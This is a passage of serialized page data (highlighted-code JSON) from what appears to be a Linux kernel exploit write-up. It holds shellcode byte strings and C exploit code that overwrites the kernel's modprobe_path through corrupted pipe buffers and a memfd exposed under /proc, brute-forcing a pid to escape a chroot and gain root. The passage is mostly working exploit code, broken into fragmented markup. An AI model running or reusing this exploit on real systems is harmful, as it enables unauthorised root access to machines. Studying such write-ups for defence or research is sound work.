33},{"style":624},[9134],{"type":29,"value":1012},{"type":24,"tag":271,"props":9136,"children":9137},{"style":477},[9138],{"type":29,"value":9139}," 0x20",{"type":24,"tag":271,"props":9141,"children":9142},{"style":288},[9143],{"type":29,"value":158},{"type":24,"tag":271,"props":9145,"children":9146},{"style":378},[9147],{"type":29,"value":5702},{"type":24,"tag":271,"props":9149,"children":9150},{"style":5694},[9151],{"type":29,"value":9152},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":24,"tag":271,"props":9154,"children":9155},{"style":378},[9156],{"type":29,"value":5702},{"type":24,"tag":271,"props":9158,"children":9159},{"style":288},[9160],{"type":29,"value":158},{"type":24,"tag":271,"props":9162,"children":9163},{"style":477},[9164],{"type":29,"value":9165},"6",{"type":24,"tag":271,"props":9167,"children":9168},{"style":288},[9169],{"type":29,"value":8823},{"type":24,"tag":271,"props":9171,"children":9172},{"style":624},[9173],{"type":29,"value":5059},{"type":24,"tag":271,"props":9175,"children":9176},{"style":477},[9177],{"type":29,"value":767},{"type":24,"tag":271,"props":9179,"children":9180},{"style":624},[9181],{"type":29,"value":2275},{"type":24,"tag":271,"props":9183,"children":9184},{"class":273,"line":411},[9185,9189,9193,9197,9202,9206,9210,9215,9219,9223,9228,9232,9236,9240],{"type":24,"tag":271,"props":9186,"children":9187},{"style":598},[9188],{"type":29,"value":8843},{"type":24,"tag":271,"props":9190,"children":9191},{"style":288},[9192],{"type":29,"value":8784},{"type":24,"tag":271,"props":9194,"children":9195},{"style":624},[9196],{"type":29,"value":1012},{"type":24,"tag":271,"props":9198,"children":9199},{"style":477},[9200],{"type":29,"value":9201}," 0x2a",{"type":24,"tag":271,"props":9203,"children":9204},{"style":288},[9205],{"type":29,"value":158},{"type":24,"tag":271,"props":9207,"children":9208},{"style":378},[9209],{"type":29,"value":5702},{"type":24,"tag":271,"props":9211,"children":9212},{"style":5694},[9213],{"type":29,"value":9214},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":24,"tag":271,"props":9216,"children":9217},{"style":378},[9218],{"type":29,"value":5702},{"type":24,"tag":271,"props":9220,"children":9221},{"style":288},[9222],{"type":29,"value":158},{"type":24,"tag":271,"props":9224,"children":9225},{"style":477},[9226],{"type":29,"value":9227},"24",{"type":24,"tag":271,"props":9229,"children":9230},{"style":288},[9231],{"type":29,"value":8823},{"type":24,"tag":271,"props":9233,"children":9234},{"style":624},[9235],{"type":29,"value":5059},{"type":24,"tag":271,"props":9237,"children":9238},{"style":477},[9239],{"type":29,"value":767},{"type":24,"tag":271,"props":9241,"children":9242},{"style":624},[9243],{"type":29,"value":2275},{"type":24,"tag":271,"props":9245,"children":9246},{"class":273,"line":420},[9247,9251,9255,9259,9264,9268,9272,9277,9281,9285,9290,9294,9298,9302],{"type":24,"tag":271,"props":9248,"children":9249},{"style":598},[9250],{"type":29,"value":8843},{"type":24,"tag":271,"props":9252,"children":9253},{"style":288},[9254],{"type":29,"value":8784},{"type":24,"tag":271,"props":9256,"children":9257},{"style":624},[9258],{"type":29,"value":1012},{"type":24,"tag":271,"props":9260,"children":9261},{"style":477},[9262],{"type":29,"value":9263}," 0x45",{"type":24,"tag":271,"props":9265,"children":9266},{"style":288},[9267],{"type":29,"value":158},{"type":24,"tag":271,"props":9269,"children":9270},{"style":378},[9271],{"type":29,"value":5702},{"type":24,"tag":271,"props":9273,"children":9274},{"style":5694},[9275],{"type":29,"value":9276},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":24,"tag":271,"props":9278,"children":9279},{"style":378},[9280],{"type":29,"value":5702},{"type":24,"tag":271,"props":9282,"children":9283},{"style":288},[9284],{"type":29,"value":158},{"type":24,"tag":271,"props":9286,"children":9287},{"style":477},[9288],{"type":29,"value":9289},"15",{"type":24,"tag":271,"props":9291,"children":9292},{"style":288},[9293],{"type":29,"value":8823},{"type":24,"tag":271,"props":9295,"children":9296},{"style":624},[9297],{"type":29,"value":5059},{"type":24,"tag":271,"props":9299,"children":9300},{"style":477},[9301],{"type":29,"value":767},{"type":24,"tag":271,"props":9303,"children":9304},{"style":624},[9305],{"type":29,"value":2275},{"type":24,"tag":271,"props":9307,"children":9308},{"class":273,"line":429},[9309,9313,9317,9321,9326,9330,9334,9339,9343,9347,9351,9355,9359,9363],{"type":24,"tag":271,"props":9310,"children":9311},{"style":598},[9312],{"type":29,"value":8843},{"type":24,"tag":271,"props":9314,"children":9315},{"style":288},[9316],{"type":29,"value":8784},{"type":24,"tag":271,"props":9318,"children":9319},{"style":624},[9320],{"type":29,"value":1012},{"type":24,"tag":271,"props":9322,"children":9323},{"style":477},[9324],{"type":29,"value":9325}," 0x55",{"type":24,"tag":271,"props":9327,"children":9328},{"style":288},[9329],{"type":29,"value":158},{"type":24,"tag":271,"props":9331,"children":9332},{"style":378},[9333],{"type":29,"value":5702},{"type":24,"tag":271,"props":9335,"children":9336},{"style":5694},[9337],{"type":29,"value":9338},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":24,"tag":271,"props":9340,"children":9341},{"style":378},[9342],{"type":29,"value":5702},{"type":24,"tag":271,"props":9344,"children":9345},{"style":288},[9346],{"type":29,"value":158},{"type":24,"tag":271,"props":9348,"children":9349},{"style":477},[9350],{"type":29,"value":7670},{"type":24,"tag":271,"props":9352,"children":9353},{"style":288},[9354],{"type":29,"value":8823},{"type":24,"tag":271,"props":9356,"children":9357},{"style":624},[9358],{"type":29,"value":5059},{"type":24,"tag":271,"props":9360,"children":9361},{"style":477},[9362],{"type":29,"value":767},{"type":24,"tag":271,"props":9364,"children":9365},{"style":624},[9366],{"type":29,"value":2275},{"type":24,"tag":271,"props":9368,"children":9369},{"class":273,"line":438},[9370,9374,9378,9382,9387,9391,9395,9400,9404,9408,9412,9416,9420,9424],{"type":24,"tag":271,"props":9371,"children":9372},{"style":598},[9373],{"type":29,"value":8843},{"type":24,"tag":271,"props":9375,"children":9376},{"style":288},[9377],{"type":29,"value":8784},{"type":24,"tag":271,"props":9379,"children":9380},{"style":624},[9381],{"type":29,"value":1012},{"type":24,"tag":271,"props":9383,"children":9384},{"style":477},[9385],{"type":29,"value":9386}," 0x61",{"type":24,"tag":271,"props":9388,"children":9389},{"style":288},[9390],{"type":29,"value":158},{"type":24,"tag":271,"props":9392,"children":9393},{"style":378},[9394],{"type":29,"value":5702},{"type":24,"tag":271,"props":9396,"children":9397},{"style":5694},[9398],{"type":29,"value":9399},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":24,"tag":271,"props":9401,"children":9402},{"style":378},[9403],{"type":29,"value":5702},{"type":24,"tag":271,"props":9405,"children":9406},{"style":288},[9407],{"type":29,"value":158},{"type":24,"tag":271,"props":9409,"children":9410},{"style":477},[9411],{"type":29,"value":8686},{"type":24,"tag":271,"props":9413,"children":9414},{"style":288},[9415],{"type":29,"value":8823},{"type":24,"tag":271,"props":9417,"children":9418},{"style":624},[9419],{"type":29,"value":5059},{"type":24,"tag":271,"props":9421,"children":9422},{"style":477},[9423],{"type":29,"value":767},{"type":24,"tag":271,"props":9425,"children":9426},{"style":624},[9427],{"type":29,"value":2275},{"type":24,"tag":271,"props":9429,"children":9430},{"class":273,"line":447},[9431,9435,9439,9443,9448,9452,9456,9461,9465,9469,9473,9477,9481,9485],{"type":24,"tag":271,"props":9432,"children":9433},{"style":598},[9434],{"type":29,"value":8843},{"type":24,"tag":271,"props":9436,"children":9437},{"style":288},[9438],{"type":29,"value":8784},{"type":24,"tag":271,"props":9440,"children":9441},{"style":624},[9442],{"type":29,"value":1012},{"type":24,"tag":271,"props":9444,"children":9445},{"style":477},[9446],{"type":29,"value":9447}," 0x6a",{"type":24,"tag":271,"props":9449,"children":9450},{"style":288},[9451],{"type":29,"value":158},{"type":24,"tag":271,"props":9453,"children":9454},{"style":378},[9455],{"type":29,"value":5702},{"type":24,"tag":271,"props":9457,"children":9458},{"style":5694},[9459],{"type":29,"value":9460},"\\x48\\xc7\\xc6",{"type":24,"tag":271,"props":9462,"children":9463},{"style":378},[9464],{"type":29,"value":5702},{"type":24,"tag":271,"props":9466,"children":9467},{"style":288},[9468],{"type":29,"value":158},{"type":24,"tag":271,"props":9470,"children":9471},{"style":477},[9472],{"type":29,"value":4525},{"type":24,"tag":271,"props":9474,"children":9475},{"style":288},[9476],{"type":29,"value":8823},{"type":24,"tag":271,"props":9478,"children":9479},{"style":624},[9480],{"type":29,"value":5059},{"type":24,"tag":271,"props":9482,"children":9483},{"style":477},[9484],{"type":29,"value":767},{"type":24,"tag":271,"props":9486,"children":9487},{"style":624},[9488],{"type":29,"value":2275},{"type":24,"tag":271,"props":9490,"children":9491},{"class":273,"line":455},[9492,9496,9500,9504,9509,9513,9517,9522,9526,9530,9534,9538,9542,9546],{"type":24,"tag":271,"props":9493,"children":9494},{"style":598},[9495],{"type":29,"value":8843},{"type":24,"tag":271,"props":9497,"children":9498},{"style":288},[9499],{"type":29,"value":8784},{"type":24,"tag":271,"props":9501,"children":9502},{"style":624},[9503],{"type":29,"value":1012},{"type":24,"tag":271,"props":9505,"children":9506},{"style":477},[9507],{"type":29,"value":9508}," 0x71",{"type":24,"tag":271,"props":9510,"children":9511},{"style":288},[9512],{"type":29,"value":158},{"type":24,"tag":271,"props":9514,"children":9515},{"style":378},[9516],{"type":29,"value":5702},{"type":24,"tag":271,"props":9518,"children":9519},{"style":5694},[9520],{"type":29,"value":9521},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":24,"tag":271,"props":9523,"children":9524},{"style":378},[9525],{"type":29,"value":5702},{"type":24,"tag":271,"props":9527,"children":9528},{"style":288},[9529],{"type":29,"value":158},{"type":24,"tag":271,"props":9531,"children":9532},{"style":477},[9533],{"type":29,"value":9165},{"type":24,"tag":271,"props":9535,"children":9536},{"style":288},[9537],{"type":29,"value":8823},{"type":24,"tag":271,"props":9539,"children":9540},{"style":624},[9541],{"type":29,"value":5059},{"type":24,"tag":271,"props":9543,"children":9544},{"style":477},[9545],{"type":29,"value":767},{"type":24,"tag":271,"props":9547,"children":9548},{"style":624},[9549],{"type":29,"value":2275},{"type":24,"tag":271,"props":9551,"children":9552},{"class":273,"line":464},[9553,9557,9561,9565,9570,9574,9578,9583,9587,9591,9595,9599,9603,9607],{"type":24,"tag":271,"props":9554,"children":9555},{"style":598},[9556],{"type":29,"value":8843},{"type":24,"tag":271,"props":9558,"children":9559},{"style":288},[9560],{"type":29,"value":8784},{"type":24,"tag":271,"props":9562,"children":9563},{"style":624},[9564],{"type":29,"value":1012},{"type":24,"tag":271,"props":9566,"children":9567},{"style":477},[9568],{"type":29,"value":9569}," 0x78",{"type":24,"tag":271,"props":9571,"children":9572},{"style":288},[9573],{"type":29,"value":158},{"type":24,"tag":271,"props":9575,"children":9576},{"style":378},[9577],{"type":29,"value":5702},{"type":24,"tag":271,"props":9579,"children":9580},{"style":5694},[9581],{"type":29,"value":9582},"\\xff\\xe0",{"type":24,"tag":271,"props":9584,"children":9585},{"style":378},[9586],{"type":29,"value":5702},{"type":24,"tag":271,"props":9588,"children":9589},{"style":288},[9590],{"type":29,"value":158},{"type":24,"tag":271,"props":9592,"children":9593},{"style":477},[9594],{"type":29,"value":165},{"type":24,"tag":271,"props":9596,"children":9597},{"style":288},[9598],{"type":29,"value":8823},{"type":24,"tag":271,"props":9600,"children":9601},{"style":624},[9602],{"type":29,"value":5059},{"type":24,"tag":271,"props":9604,"children":9605},{"style":477},[9606],{"type":29,"value":767},{"type":24,"tag":271,"props":9608,"children":9609},{"style":288},[9610],{"type":29,"value":694},{"type":24,"tag":271,"props":9612,"children":9613},{"class":273,"line":473},[9614,9618,9622],{"type":24,"tag":271,"props":9615,"children":9616},{"style":749},[9617],{"type":29,"value":8905},{"type":24,"tag":271,"props":9619,"children":9620},{"style":278},[9621],{"type":29,"value":1717},{"type":24,"tag":271,"props":9623,"children":9624},{"style":288},[9625],{"type":29,"value":1069},{"type":24,"tag":271,"props":9627,"children":9628},{"class":273,"line":483},[9629],{"type":24,"tag":271,"props":9630,"children":9631},{"emptyLinePlaceholder":16},[9632],{"type":29,"value":327},{"type":24,"tag":271,"props":9634,"children":9635},{"class":273,"line":491},[9636,9641,9645],{"type":24,"tag":271,"props":9637,"children":9638},{"style":749},[9639],{"type":29,"value":9640}," return",{"type":24,"tag":271,"props":9642,"children":9643},{"style":278},[9644],{"type":29,"value":1877},{"type":24,"tag":271,"props":9646,"children":9647},{"style":288},[9648],{"type":29,"value":1069},{"type":24,"tag":271,"props":9650,"children":9651},{"class":273,"line":499},[9652],{"type":24,"tag":271,"props":9653,"children":9654},{"style":288},[9655],{"type":29,"value":1171},{"type":24,"tag":271,"props":9657,"children":9658},{"class":273,"line":3188},[9659],{"type":24,"tag":271,"props":9660,"children":9661},{"style":288},[9662],{"type":29,"value":1690},{"type":24,"tag":85,"props":9664,"children":9666},{"id":9665},"overwriting-modprobe_path",[9667,9669],{"type":29,"value":9668},"Overwriting ",{"type":24,"tag":135,"props":9670,"children":9672},{"className":9671},[],[9673],{"type":29,"value":8038},{"type":24,"tag":25,"props":9675,"children":9676},{},[9677,9679,9685],{"type":29,"value":9678},"Finding the ",{"type":24,"tag":135,"props":9680,"children":9682},{"className":9681},[],[9683],{"type":29,"value":9684},"/sbin/modprobe",{"type":29,"value":9686}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":24,"tag":25,"props":9688,"children":9689},{},[9690,9692,9698],{"type":29,"value":9691},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":24,"tag":135,"props":9693,"children":9695},{"className":9694},[],[9696],{"type":29,"value":9697},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":29,"value":9699}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":24,"tag":261,"props":9701,"children":9703},{"className":3859,"code":9702,"language":3861,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[9704],{"type":24,"tag":135,"props":9705,"children":9706},{"__ignoreMap":7},[9707,9714,9736,9744,9751,9759,9767,9775,9783,9790,9798,9805,9845,9856,9863,9870,9877,9904,9935,9942,9964,9977,9984,10042,10049,10077,10084,10091,10112,10119,10140,10152,10159,10166,10187,10194,10222,10235,10242,10249,10298,10305,10373,10380,10401,10421,10429,10437,10445,10466],{"type":24,"tag":271,"props":9708,"children":9709},{"class":273,"line":274},[9710],{"type":24,"tag":271,"props":9711,"children":9712},{"style":288},[9713],{"type":29,"value":1690},{"type":24,"tag":271,"props":9715,"children":9716},{"class":273,"line":284},[9717,9722,9727,9732],{"type":24,"tag":271,"props":9718,"children":9719},{"style":288},[9720],{"type":29,"value":9721}," puts(\"[*] ",{"type":24,"tag":271,"props":9723,"children":9724},{"style":3887},[9725],{"type":29,"value":9726},"overwrite",{"type":24,"tag":271,"props":9728,"children":9729},{"style":3887},[9730],{"type":29,"value":9731}," modprobe_path",{"type":24,"tag":271,"props":9733,"children":9734},{"style":378},[9735],{"type":29,"value":5941},{"type":24,"tag":271,"props":9737,"children":9738},{"class":273,"line":294},[9739],{"type":24,"tag":271,"props":9740,"children":9741},{"style":378},[9742],{"type":29,"value":9743}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":24,"tag":271,"props":9745,"children":9746},{"class":273,"line":303},[9747],{"type":24,"tag":271,"props":9748,"children":9749},{"style":378},[9750],{"type":29,"value":4203},{"type":24,"tag":271,"props":9752,"children":9753},{"class":273,"line":312},[9754],{"type":24,"tag":271,"props":9755,"children":9756},{"style":378},[9757],{"type":29,"value":9758}," pipebuf->page = modprobe_page;\n",{"type":24,"tag":271,"props":9760,"children":9761},{"class":273,"line":321},[9762],{"type":24,"tag":271,"props":9763,"children":9764},{"style":378},[9765],{"type":29,"value":9766}," pipebuf->offset = modprobe_off;\n",{"type":24,"tag":271,"props":9768,"children":9769},{"class":273,"line":330},[9770],{"type":24,"tag":271,"props":9771,"children":9772},{"style":378},[9773],{"type":29,"value":9774}," pipebuf->len = 0;\n",{"type":24,"tag":271,"props":9776,"children":9777},{"class":273,"line":339},[9778],{"type":24,"tag":271,"props":9779,"children":9780},{"style":378},[9781],{"type":29,"value":9782}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":24,"tag":271,"props":9784,"children":9785},{"class":273,"line":347},[9786],{"type":24,"tag":271,"props":9787,"children":9788},{"style":378},[9789],{"type":29,"value":7545},{"type":24,"tag":271,"props":9791,"children":9792},{"class":273,"line":356},[9793],{"type":24,"tag":271,"props":9794,"children":9795},{"style":378},[9796],{"type":29,"value":9797}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":24,"tag":271,"props":9799,"children":9800},{"class":273,"line":365},[9801],{"type":24,"tag":271,"props":9802,"children":9803},{"style":378},[9804],{"type":29,"value":8534},{"type":24,"tag":271,"props":9806,"children":9807},{"class":273,"line":374},[9808,9813,9817,9822,9826,9831,9835,9840],{"type":24,"tag":271,"props":9809,"children":9810},{"style":378},[9811],{"type":29,"value":9812}," perror(\"",{"type":24,"tag":271,"props":9814,"children":9815},{"style":288},[9816],{"type":29,"value":4520},{"type":24,"tag":271,"props":9818,"children":9819},{"style":624},[9820],{"type":29,"value":9821},"-",{"type":24,"tag":271,"props":9823,"children":9824},{"style":288},[9825],{"type":29,"value":4530},{"type":24,"tag":271,"props":9827,"children":9828},{"style":3887},[9829],{"type":29,"value":9830},"write",{"type":24,"tag":271,"props":9832,"children":9833},{"style":288},[9834],{"type":29,"value":606},{"type":24,"tag":271,"props":9836,"children":9837},{"style":3887},[9838],{"type":29,"value":9839},"socket",{"type":24,"tag":271,"props":9841,"children":9842},{"style":288},[9843],{"type":29,"value":9844},")\");\n",{"type":24,"tag":271,"props":9846,"children":9847},{"class":273,"line":384},[9848,9852],{"type":24,"tag":271,"props":9849,"children":9850},{"style":749},[9851],{"type":29,"value":8630},{"type":24,"tag":271,"props":9853,"children":9854},{"style":288},[9855],{"type":29,"value":1069},{"type":24,"tag":271,"props":9857,"children":9858},{"class":273,"line":393},[9859],{"type":24,"tag":271,"props":9860,"children":9861},{"style":288},[9862],{"type":29,"value":8554},{"type":24,"tag":271,"props":9864,"children":9865},{"class":273,"line":402},[9866],{"type":24,"tag":271,"props":9867,"children":9868},{"style":288},[9869],{"type":29,"value":7574},{"type":24,"tag":271,"props":9871,"children":9872},{"class":273,"line":411},[9873],{"type":24,"tag":271,"props":9874,"children":9875},{"emptyLinePlaceholder":16},[9876],{"type":29,"value":327},{"type":24,"tag":271,"props":9878,"children":9879},{"class":273,"line":420},[9880,9884,9888,9892,9896,9900],{"type":24,"tag":271,"props":9881,"children":9882},{"style":598},[9883],{"type":29,"value":4238},{"type":24,"tag":271,"props":9885,"children":9886},{"style":288},[9887],{"type":29,"value":606},{"type":24,"tag":271,"props":9889,"children":9890},{"style":624},[9891],{"type":29,"value":1137},{"type":24,"tag":271,"props":9893,"children":9894},{"style":288},[9895],{"type":29,"value":8438},{"type":24,"tag":271,"props":9897,"children":9898},{"style":477},[9899],{"type":29,"value":4121},{"type":24,"tag":271,"props":9901,"children":9902},{"style":288},[9903],{"type":29,"value":8447},{"type":24,"tag":271,"props":9905,"children":9906},{"class":273,"line":429},[9907,9911,9916,9920,9925,9930],{"type":24,"tag":271,"props":9908,"children":9909},{"style":598},[9910],{"type":29,"value":4959},{"type":24,"tag":271,"props":9912,"children":9913},{"style":288},[9914],{"type":29,"value":9915},"(fd_path, ",{"type":24,"tag":271,"props":9917,"children":9918},{"style":278},[9919],{"type":29,"value":4969},{"type":24,"tag":271,"props":9921,"children":9922},{"style":288},[9923],{"type":29,"value":9924},"(fd_path), ",{"type":24,"tag":271,"props":9926,"children":9927},{"style":378},[9928],{"type":29,"value":9929},"\"/proc/%i/fd/%i\"",{"type":24,"tag":271,"props":9931,"children":9932},{"style":288},[9933],{"type":29,"value":9934},", i, modprobe_fd);\n",{"type":24,"tag":271,"props":9936,"children":9937},{"class":273,"line":438},[9938],{"type":24,"tag":271,"props":9939,"children":9940},{"emptyLinePlaceholder":16},[9941],{"type":29,"value":327},{"type":24,"tag":271,"props":9943,"children":9944},{"class":273,"line":447},[9945,9950,9955,9959],{"type":24,"tag":271,"props":9946,"children":9947},{"style":598},[9948],{"type":29,"value":9949}," lseek",{"type":24,"tag":271,"props":9951,"children":9952},{"style":288},[9953],{"type":29,"value":9954},"(modprobe_fd, ",{"type":24,"tag":271,"props":9956,"children":9957},{"style":477},[9958],{"type":29,"value":4121},{"type":24,"tag":271,"props":9960,"children":9961},{"style":288},[9962],{"type":29,"value":9963},", SEEK_SET);\n",{"type":24,"tag":271,"props":9965,"children":9966},{"class":273,"line":455},[9967,9972],{"type":24,"tag":271,"props":9968,"children":9969},{"style":598},[9970],{"type":29,"value":9971}," dprintf",{"type":24,"tag":271,"props":9973,"children":9974},{"style":288},[9975],{"type":29,"value":9976},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":24,"tag":271,"props":9978,"children":9979},{"class":273,"line":464},[9980],{"type":24,"tag":271,"props":9981,"children":9982},{"emptyLinePlaceholder":16},[9983],{"type":29,"value":327},{"type":24,"tag":271,"props":9985,"children":9986},{"class":273,"line":473},[9987,9991,9995,9999,10003,10007,10012,10016,10021,10026,10030,10034,10038],{"type":24,"tag":271,"props":9988,"children":9989},{"style":749},[9990],{"type":29,"value":7512},{"type":24,"tag":271,"props":9992,"children":9993},{"style":288},[9994],{"type":29,"value":1357},{"type":24,"tag":271,"props":9996,"children":9997},{"style":598},[9998],{"type":29,"value":9830},{"type":24,"tag":271,"props":10000,"children":10001},{"style":288},[10002],{"type":29,"value":606},{"type":24,"tag":271,"props":10004,"children":10005},{"style":630},[10006],{"type":29,"value":8491},{"type":24,"tag":271,"props":10008,"children":10009},{"style":288},[10010],{"type":29,"value":10011},"[pipe_idx][",{"type":24,"tag":271,"props":10013,"children":10014},{"style":477},[10015],{"type":29,"value":156},{"type":24,"tag":271,"props":10017,"children":10018},{"style":288},[10019],{"type":29,"value":10020},"], fd_path, ",{"type":24,"tag":271,"props":10022,"children":10023},{"style":477},[10024],{"type":29,"value":10025},"32",{"type":24,"tag":271,"props":10027,"children":10028},{"style":288},[10029],{"type":29,"value":8823},{"type":24,"tag":271,"props":10031,"children":10032},{"style":624},[10033],{"type":29,"value":801},{"type":24,"tag":271,"props":10035,"children":10036},{"style":477},[10037],{"type":29,"value":767},{"type":24,"tag":271,"props":10039,"children":10040},{"style":288},[10041],{"type":29,"value":694},{"type":24,"tag":271,"props":10043,"children":10044},{"class":273,"line":483},[10045],{"type":24,"tag":271,"props":10046,"children":10047},{"style":288},[10048],{"type":29,"value":7545},{"type":24,"tag":271,"props":10050,"children":10051},{"class":273,"line":491},[10052,10056,10060,10064,10068,10073],{"type":24,"tag":271,"props":10053,"children":10054},{"style":598},[10055],{"type":29,"value":7553},{"type":24,"tag":271,"props":10057,"children":10058},{"style":288},[10059],{"type":29,"value":606},{"type":24,"tag":271,"props":10061,"children":10062},{"style":378},[10063],{"type":29,"value":5702},{"type":24,"tag":271,"props":10065,"children":10066},{"style":5694},[10067],{"type":29,"value":5697},{"type":24,"tag":271,"props":10069,"children":10070},{"style":378},[10071],{"type":29,"value":10072},"[-] write(pipe)\"",{"type":24,"tag":271,"props":10074,"children":10075},{"style":288},[10076],{"type":29,"value":1155},{"type":24,"tag":271,"props":10078,"children":10079},{"class":273,"line":499},[10080],{"type":24,"tag":271,"props":10081,"children":10082},{"style":288},[10083],{"type":29,"value":7574},{"type":24,"tag":271,"props":10085,"children":10086},{"class":273,"line":3188},[10087],{"type":24,"tag":271,"props":10088,"children":10089},{"emptyLinePlaceholder":16},[10090],{"type":29,"value":327},{"type":24,"tag":271,"props":10092,"children":10093},{"class":273,"line":3247},[10094,10098,10102,10107],{"type":24,"tag":271,"props":10095,"children":10096},{"style":749},[10097],{"type":29,"value":7512},{"type":24,"tag":271,"props":10099,"children":10100},{"style":288},[10101],{"type":29,"value":1357},{"type":24,"tag":271,"props":10103,"children":10104},{"style":598},[10105],{"type":29,"value":10106},"check_modprobe",{"type":24,"tag":271,"props":10108,"children":10109},{"style":288},[10110],{"type":29,"value":10111},"(fd_path))\n",{"type":24,"tag":271,"props":10113,"children":10114},{"class":273,"line":3255},[10115],{"type":24,"tag":271,"props":10116,"children":10117},{"style":288},[10118],{"type":29,"value":7545},{"type":24,"tag":271,"props":10120,"children":10121},{"class":273,"line":3263},[10122,10127,10131,10136],{"type":24,"tag":271,"props":10123,"children":10124},{"style":598},[10125],{"type":29,"value":10126}," puts",{"type":24,"tag":271,"props":10128,"children":10129},{"style":288},[10130],{"type":29,"value":606},{"type":24,"tag":271,"props":10132,"children":10133},{"style":378},[10134],{"type":29,"value":10135},"\"[-] failed to overwrite modprobe\"",{"type":24,"tag":271,"props":10137,"children":10138},{"style":288},[10139],{"type":29,"value":1155},{"type":24,"tag":271,"props":10141,"children":10142},{"class":273,"line":3293},[10143,10148],{"type":24,"tag":271,"props":10144,"children":10145},{"style":749},[10146],{"type":29,"value":10147}," break",{"type":24,"tag":271,"props":10149,"children":10150},{"style":288},[10151],{"type":29,"value":1069},{"type":24,"tag":271,"props":10153,"children":10154},{"class":273,"line":3301},[10155],{"type":24,"tag":271,"props":10156,"children":10157},{"style":288},[10158],{"type":29,"value":7574},{"type":24,"tag":271,"props":10160,"children":10161},{"class":273,"line":3683},[10162],{"type":24,"tag":271,"props":10163,"children":10164},{"emptyLinePlaceholder":16},[10165],{"type":29,"value":327},{"type":24,"tag":271,"props":10167,"children":10168},{"class":273,"line":4486},[10169,10173,10177,10182],{"type":24,"tag":271,"props":10170,"children":10171},{"style":749},[10172],{"type":29,"value":7512},{"type":24,"tag":271,"props":10174,"children":10175},{"style":288},[10176],{"type":29,"value":1357},{"type":24,"tag":271,"props":10178,"children":10179},{"style":598},[10180],{"type":29,"value":10181},"trigger_modprobe",{"type":24,"tag":271,"props":10183,"children":10184},{"style":288},[10185],{"type":29,"value":10186},"(status_fd))\n",{"type":24,"tag":271,"props":10188,"children":10189},{"class":273,"line":4509},[10190],{"type":24,"tag":271,"props":10191,"children":10192},{"style":288},[10193],{"type":29,"value":7545},{"type":24,"tag":271,"props":10195,"children":10196},{"class":273,"line":4545},[10197,10201,10205,10209,10213,10218],{"type":24,"tag":271,"props":10198,"children":10199},{"style":598},[10200],{"type":29,"value":10126},{"type":24,"tag":271,"props":10202,"children":10203},{"style":288},[10204],{"type":29,"value":606},{"type":24,"tag":271,"props":10206,"children":10207},{"style":378},[10208],{"type":29,"value":5702},{"type":24,"tag":271,"props":10210,"children":10211},{"style":5694},[10212],{"type":29,"value":5697},{"type":24,"tag":271,"props":10214,"children":10215},{"style":378},[10216],{"type":29,"value":10217},"[+] got root\"",{"type":24,"tag":271,"props":10219,"children":10220},{"style":288},[10221],{"type":29,"value":1155},{"type":24,"tag":271,"props":10223,"children":10224},{"class":273,"line":4591},[10225,10230],{"type":24,"tag":271,"props":10226,"children":10227},{"style":749},[10228],{"type":29,"value":10229}," goto",{"type":24,"tag":271,"props":10231,"children":10232},{"style":288},[10233],{"type":29,"value":10234}," out;\n",{"type":24,"tag":271,"props":10236,"children":10237},{"class":273,"line":4628},[10238],{"type":24,"tag":271,"props":10239,"children":10240},{"style":288},[10241],{"type":29,"value":7574},{"type":24,"tag":271,"props":10243,"children":10244},{"class":273,"line":4658},[10245],{"type":24,"tag":271,"props":10246,"children":10247},{"emptyLinePlaceholder":16},[10248],{"type":29,"value":327},{"type":24,"tag":271,"props":10250,"children":10251},{"class":273,"line":4666},[10252,10257,10261,10265,10269,10273,10277,10281,10285,10290,10294],{"type":24,"tag":271,"props":10253,"children":10254},{"style":749},[10255],{"type":29,"value":10256}," 